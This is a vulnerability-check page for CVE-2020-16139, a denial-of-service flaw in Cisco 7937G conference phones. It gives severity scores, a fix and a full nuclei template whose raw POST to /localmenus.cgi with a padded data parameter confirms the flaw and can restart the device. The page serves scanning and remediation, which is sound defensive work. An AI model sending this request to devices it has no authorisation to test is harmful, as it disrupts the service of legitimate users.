Cisco Unified IP Conference Station 7937G - Denial-of-Service

highseverity

7.5CVSS score

79.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Cisco Unified IP Conference Station 7937G 1-4-4-0 through 1-4-5-7 allows attackers to restart the device remotely via specially crafted packets that can cause a denial-of-service condition. Note: We cannot prove this vulnerability exists. Out of an abundance of caution, this CVE is being assigned to better serve our customers and ensure all who are still running this product understand that the product is end of life and should be removed or upgraded.

Impact

An attacker can exploit this vulnerability to disrupt the functionality of the conference station, leading to a denial of service for legitimate users.

Fix

Apply the latest firmware update provided by Cisco to mitigate this vulnerability.

How to confirm it

Send: POST /localmenus.cgi?func=609&rphl=1&data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Positive when: contains in header "application/xml" AND contains "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" AND status 200

Run it with nuclei: nuclei -id CVE-2020-16139 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-16139

info:
  name: Cisco Unified IP Conference Station 7937G - Denial-of-Service
  author: pikpikcu
  severity: high
  description: |
    Cisco Unified IP Conference Station 7937G 1-4-4-0 through 1-4-5-7 allows attackers to restart the device remotely via specially crafted packets that can cause a denial-of-service condition. Note: We cannot prove this vulnerability exists. Out of an abundance of caution, this CVE is being assigned to better serve our customers and ensure all who are still running this product understand that the product is end of life and should be removed or upgraded.
  impact: |
    An attacker can exploit this vulnerability to disrupt the functionality of the conference station, leading to a denial of service for legitimate users.
  remediation: |
    Apply the latest firmware update provided by Cisco to mitigate this vulnerability.
  reference:
    - http://packetstormsecurity.com/files/158819/Cisco-7937G-Denial-Of-Service.html
    - https://www.cisco.com/c/en/us/products/collateral/collaboration-endpoints/unified-ip-phone-7940g/end_of_life_notice_c51-729487.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-16139
    - https://github.com/anonymous364872/Rapier_Tool
    - https://github.com/blacklanternsecurity/Cisco-7937G-PoCs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2020-16139
    epss-score: 0.7977
    epss-percentile: 0.99611
    cpe: cpe:2.3:o:cisco:unified_ip_conference_station_7937g_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cisco
    product: unified_ip_conference_station_7937g_firmware
  tags: cve,cve2020,dos,cisco,packetstorm,vkev,vuln

http:
  - raw:
      - |
        POST /localmenus.cgi?func=609&rphl=1&data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/xml"

      - type: word
        words:
          - 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from